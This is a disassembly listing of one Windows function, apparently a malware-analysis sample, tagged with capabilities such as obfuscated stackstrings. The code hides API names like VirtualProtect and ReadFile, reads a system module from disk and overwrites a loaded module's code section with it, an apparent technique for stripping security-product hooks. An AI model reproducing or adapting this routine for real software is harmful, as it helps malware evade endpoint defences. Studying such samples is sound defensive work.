Function at 0x402b50
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get file size

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x5dc
mov ebp, dword [esp + 0x5f0]
mov dword [esp], ebp
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
test eax, eax
je 0x403205
lea edi, [esp + 0x58]
mov dword [esp], str.MoYsyog_e__NcxoiexsK
mov esi, eax
call fcn.00401460
mov dword [esp], edi
mov dword [esp + 4], eax
call sub.KERNEL32.dll_lstrcpyA
sub esp, 8
mov dword [esp], str.aoxdof98_nff
call fcn.00401460
mov dword [esp], eax
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [esp], str.aoxdof98_nff
call fcn.00401460
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
lea ebx, [esp + 0x1e8]
mov dword [esp + 4], 0x3e8
mov dword [esp], ebx
call eax
sub esp, 8
cmp eax, 0x78
je 0x403210
test eax, eax
je 0x403210
mov dword [esp + 4], 0x40924e
mov dword [esp], ebx
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov dword [esp + 4], ebp
mov dword [esp], ebx
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
lea ebp, [esp + 0xbc]
mov byte [esp + 0xbc], 0x6b
mov byte [esp + 0xbd], 0x65
mov byte [esp + 0xbe], 0x72
mov byte [esp + 0xbf], 0x6e
mov dword [esp], ebp
mov byte [esp + 0xc0], 0x65
mov byte [esp + 0xc1], 0x6c
mov byte [esp + 0xc2], 0x33
mov byte [esp + 0xc3], 0x32
mov byte [esp + 0xc4], 0x2e
mov byte [esp + 0xc5], 0x64
mov byte [esp + 0xc6], 0x6c
mov byte [esp + 0xc7], 0x6c
mov byte [esp + 0xc8], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 4], edi
mov dword [esp], eax
mov byte [esp + 0x58], 0x4c
mov byte [esp + 0x59], 0x6f
mov byte [esp + 0x5a], 0x61
mov byte [esp + 0x5b], 0x64
mov byte [esp + 0x5c], 0x4c
mov byte [esp + 0x5d], 0x69
mov byte [esp + 0x5e], 0x62
mov byte [esp + 0x5f], 0x72
mov byte [esp + 0x60], 0x61
mov byte [esp + 0x61], 0x72
mov byte [esp + 0x62], 0x79
mov byte [esp + 0x63], 0x41
mov byte [esp + 0x64], 0
call fcn.00401d00
mov dword [esp], ebp
mov dword [0x40c060], eax
call eax
sub esp, 4
mov dword [esp + 0x2c], eax
mov eax, 0x258
lea esi, [esi]
mov edx, 0x2d2d
sub eax, 1
mov dword [esp + 0x4e], 0x2a2a2d2d
mov dword [esp + 0x52], 0x2d2a2a2a
mov dword [esp + 0x56], 0x2d2d2d2d
mov word [esp + 0x5a], dx
mov byte [esp + 0x5c], 0
jne 0x402d00
lea edi, [esp + 0x120]
mov ecx, 0x19
mov ebp, dword [esp + 0x2c]
mov byte [esp + 0x43], 0x52
rep stosd dword es:[edi], eax
lea eax, [esp + 0x43]
lea edi, [esp + 0x120]
mov dword [esp], ebp
mov byte [esp + 0x120], 0x43
mov byte [esp + 0x121], 0x72
mov dword [esp + 4], eax
mov byte [esp + 0x122], 0x65
mov byte [esp + 0x123], 0x61
mov byte [esp + 0x124], 0x74
mov byte [esp + 0x125], 0x65
mov byte [esp + 0x126], 0x46
mov byte [esp + 0x127], 0x69
mov byte [esp + 0x128], 0x6c
mov byte [esp + 0x129], 0x65
mov byte [esp + 0x12a], 0x41
mov byte [esp + 0x44], 0x65
mov byte [esp + 0x45], 0x61
mov byte [esp + 0x46], 0x64
mov byte [esp + 0x47], 0x46
mov byte [esp + 0x48], 0x69
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4a], 0x65
mov byte [esp + 0x4b], 0
call fcn.00401d00
mov dword [esp + 4], edi
mov dword [esp], ebp
mov dword [0x40c070], eax
call fcn.00401d00
mov dword [esp], ebx
mov dword [0x40c074], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 7
mov dword [esp + 4], 0x80000000
call eax
mov ebx, eax
sub esp, 0x1c
mov eax, 0x258
nop
mov ebp, 0x2d
sub eax, 1
mov dword [esp + 0x4e], 0x2a2a2d2d
mov dword [esp + 0x52], 0x2d2a2a2a
mov dword [esp + 0x56], 0x2d2d2d2d
mov word [esp + 0x5a], bp
jne 0x402e30
lea eax, [esp + 0x44]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_GetFileSize
sub esp, 8
mov dword [esp + 0x48], eax
call fcn.004026b0
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], edi
mov byte [esp + 0x120], 0x4c
mov byte [esp + 0x121], 0x6f
mov byte [esp + 0x122], 0x63
mov byte [esp + 0x123], 0x61
mov dword [esp], eax
mov byte [esp + 0x124], 0x6c
mov byte [esp + 0x125], 0x41
mov byte [esp + 0x126], 0x6c
mov byte [esp + 0x127], 0x6c
mov byte [esp + 0x128], 0x6f
mov byte [esp + 0x129], 0x63
mov byte [esp + 0x12a], 0
call fcn.00401d00
mov edx, dword [esp + 0x48]
mov dword [0x40c06c], eax
mov dword [esp], 0x40
mov dword [esp + 4], edx
call eax
sub esp, 8
mov edi, eax
lea eax, [esp + 0x44]
mov dword [esp + 4], edi
mov dword [esp], ebx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 8], eax
call dword [0x40c070]
sub esp, 0x14
mov dword [esp], ebx
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [esp], edi
call fcn.00402490
mov edx, dword [eax + 0x3c]
mov edi, eax
mov dword [esp + 0x24], eax
movzx ecx, word [edi + edx + 0x14]
lea eax, [edx + 0x18]
mov edx, dword [esi + 0x3c]
lea ebx, [edi + eax]
add ecx, eax
lea eax, [edx + 0x18]
movzx edx, word [esi + edx + 0x14]
add ecx, edi
lea ebp, [esi + eax]
add edx, eax
mov eax, 0x258
add edx, edi
mov edi, 0x2d2d
sub eax, 1
mov dword [esp + 0x4e], 0x2a2a2d2d
mov dword [esp + 0x52], 0x2d2a2a2a
mov dword [esp + 0x56], 0x2d2d2d2d
mov word [esp + 0x5a], di
mov byte [esp + 0x5c], 0
jne 0x402f60
mov eax, dword [esp + 0x24]
add eax, dword [ecx + 0xc]
mov ecx, dword [ecx + 8]
mov dword [esp + 0x38], eax
add eax, ecx
mov dword [esp + 0x28], ecx
mov dword [esp + 0x3c], eax
mov eax, dword [edx + 0xc]
xor ecx, ecx
add eax, esi
mov dword [esp + 0x30], eax
mov eax, dword [edx + 8]
mov dword [esp + 0x34], eax
lea esi, [esi]
lea edi, [edi]
mov edx, dword [ebx + ecx*8 + 0x60]
cmp dword [esp + 0x28], edx
jbe 0x403008
test edx, edx
je 0x403008
mov edi, dword [ebx + ecx*8 + 0x64]
test edi, edi
je 0x403008
xor eax, eax
mov dword [esp + 0x20], ebx
jmp 0x402fe4
mov edx, dword [ebx + ecx*8 + 0x60]
lea edi, [esi + eax]
add edi, dword [ebp + ecx*8 + 0x60]
add edx, dword [esp + 0x24]
movzx edi, byte [edi]
mov ebx, edi
mov byte [edx + eax], bl
mov ebx, dword [esp + 0x20]
add eax, 1
cmp dword [ebx + ecx*8 + 0x64], eax
ja 0x402fe0
mov ebx, dword [esp + 0x20]
add ecx, 1
cmp ecx, 0x10
jne 0x402fc0
mov dword [esp], str.aoxdof98_nff
call fcn.00401460
mov dword [esp], eax
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [esp], str.PfwSql_fppGFSSloj_z
call fcn.004014c0
mov dword [esp], str.aoxdof98_nff
mov esi, eax
call fcn.00401460
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
test eax, eax
je 0x40306b
mov dword [esp], 2
call eax
sub esp, 4
lea edi, [esp + 0x184]
xor eax, eax
mov ecx, 0x19
rep stosd dword es:[edi], eax
lea eax, [esp + 0x184]
mov byte [esp + 0x184], 0x56
mov byte [esp + 0x185], 0x69
mov byte [esp + 0x186], 0x72
mov byte [esp + 0x187], 0x74
mov dword [esp + 4], eax
mov eax, dword [esp + 0x2c]
mov byte [esp + 0x188], 0x75
mov byte [esp + 0x189], 0x61
mov byte [esp + 0x18a], 0x6c
mov byte [esp + 0x18b], 0x50
mov dword [esp], eax
mov byte [esp + 0x18c], 0x72
mov byte [esp + 0x18d], 0x6f
mov byte [esp + 0x18e], 0x74
mov byte [esp + 0x18f], 0x65
mov byte [esp + 0x190], 0x63
mov byte [esp + 0x191], 0x74
call fcn.00401d00
mov esi, eax
lea eax, [esp + 0x48]
mov dword [esp + 8], 4
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x30]
mov dword [esp], eax
call esi
mov eax, dword [ebp + 0x1c]
sub esp, 0x10
mov dword [esp + 0x10], eax
mov eax, dword [ebx + 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call fcn.004015c0
mov ecx, dword [esp + 0x28]
xor edx, edx
test ecx, ecx
je 0x40317f
mov ecx, dword [esp + 0x38]
mov ebx, dword [esp + 0x28]
mov edi, dword [esp + 0x30]
lea esi, [esi]
movzx eax, byte [edx + ecx]
add edx, 1
mov byte [edx + edi - 1], al
cmp ebx, edx
jne 0x403170
mov eax, 0x258
mov edx, 0x2d
sub eax, 1
mov dword [esp + 0x4e], 0x2a2a2d2d
mov dword [esp + 0x52], 0x2d2a2a2a
mov dword [esp + 0x56], 0x2d2d2d2d
mov word [esp + 0x5a], dx
jne 0x403184
lea eax, [esp + 0x44]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x30]
mov dword [esp], eax
call esi
mov eax, 0x258
sub esp, 0x10
sub eax, 1
jne 0x4031d4
mov eax, 0x258
nop
sub eax, 1
jne 0x4031e0
mov eax, 0x258
lea esi, [esi]
sub eax, 1
jne 0x4031f0
mov eax, 0x258
lea esi, [esi]
sub eax, 1
jne 0x403200
add esp, 0x5dc
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 4], 0x3e8
mov dword [esp], ebx
call sub.KERNEL32.dll_GetSystemDirectoryA
sub esp, 8
jmp 0x402bfa